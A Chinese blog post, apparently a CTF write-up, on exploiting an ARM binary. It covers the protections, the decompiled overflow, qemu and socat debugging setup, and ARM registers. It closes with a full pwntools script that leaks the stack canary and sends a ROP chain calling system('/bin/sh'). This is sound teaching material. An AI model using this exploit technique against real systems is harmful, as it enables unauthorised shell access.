xman冬令营预选赛arm-pwn

嗯,这次打冬令营预选赛有道 arm-pwn 没看。为哈~ 之前没做过 arm 指令集的 pwn 所以心里有点没底气,去看其它安卓逆向了 = =。后面启飞讲了一下,自己 ida 脱进去看了一下,卧槽。。。好简单,就是一个栈溢出然后做 rop,当然这里的简单指的是逻辑,具体的还需学习一下。

分析

保护情况

1
2
3
4
5
6
'/Users/carlstar/Desktop/arm-pwn/attachment/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)

程序初始化,有 system 函数,可以考虑返回到这里,参数自己布置。

1
2
3
4
5
6
7
int sub_1066C()
{
setbuf((FILE *)stdin, 0);
setbuf((FILE *)stdout, 0);
setbuf((FILE *)stderr, 0);
return system("clear");
}

主要功能,很明显在 puts 后有一个栈溢出,但是有 canary nx 如果可以泄漏 canary 可以考虑做 rop。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sub_106D0()
{
int n; // ST04_4
char buf; // [sp+8h] [bp-34h]
char s; // [sp+1Ch] [bp-20h]

sub_1066C();
memset(&s, 0, 0x18u);
memset(&buf, 0, 0x14u);
read(0, &buf, 0x14u);
n = snprintf(&s, 0x18u, "Hello %sJUst For Fun\n", &buf);
write(1, &s, n);
puts("Come On");
read(0, &s, 0x100u);
return 0;
}

basic knowledge

调试 arm 需要相关环境,需要知道相关的汇编知识。 arm 汇编比较蛋疼,哈哈。

安装qemu
1
apt-get install qemu
依赖库安装
1
sudo apt-get install -y gcc-arm-linux-gnueabi
动态调试

使程序运行在 10002 端口 -L 指定程序运行时所需要的链接库

1
socat tcp-l:10002,fork exec:"qemu-arm  -L /usr/arm-linux-gnueabi ./pwn",reuseaddr &

-g 是可以使程序在运行中 attach,方便我们调试。

1
socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./pwn",reuseaddr &

可以在脚本中,当连接服务器后,暂停执行,等待调试器 attach

1
2
p = remote("127.0.0.1", 10002)
pause() # 等待调试 attach ,并让目标程序继续执行

当连接到 socat 监听的端口后,脚本会暂停,这时使用 gdb 连接上去就可以调试了。

1
2
gdb-multiarch pwn -q 
target remote:1234
汇编相关知识
1
2
3
4
5
6
7
8
9
10
11
12
R:Register;寄存器
PC:Program Counter;程序计数器 //windows 中 EIP
CPSR:Current Program Status Register;当前程序状态寄存器
SPSR:Saved Program Status Register;保存的程序状态寄存器
SP:Stack Pointer;数据栈指针
LR:Link Register;连接寄存器
SB:静态基址寄存器
SL:数据栈限制指针
FP:帧指针
IP:Intra-Procedure-call Scratch Register;内部程序调用暂存寄存器

r11是optional的,被称为FP,即frame pointer

gdb

当我们输入 20 个字符的时候可以泄漏出 canary,剩下的就是常规的 rop 了。

找一下 gadgets,看看有什么可以利用的。这里必须说一下和因特尔指令集不同,x86-arm 传参是从r0 -> r3 其他的通过栈进行传递。

分析gadgets,有如下利用。

1
2
r0 ---> /bin/sh
r3 ---> addr_system

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

t = remote('192.168.5.147', 10002)

payload = 'a' * 20

t.send(payload)
canary = u32(t.recvline()[36:40])
log.info('canary: ' + hex(canary))
pop_7 = 0x10804
mov_r0 = 0x107f4
binsh = 0x21044
addr_sys = 0x104FC
pop_pc = 0x104a8
payload2 = fit({0x18:[p32(canary),p32(0xdeadbeef),p32(pop_7),p32(0),p32(0),p32(0),p32(binsh),p32(0),p32(0),p32(0),p32(pop_pc),p32(addr_sys),p32(mov_r0)]})
t.send(payload2)
t.interactive()

文章作者: Carl Star
文章链接: http://carlstar.club/2019/02/11/arm-pwn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo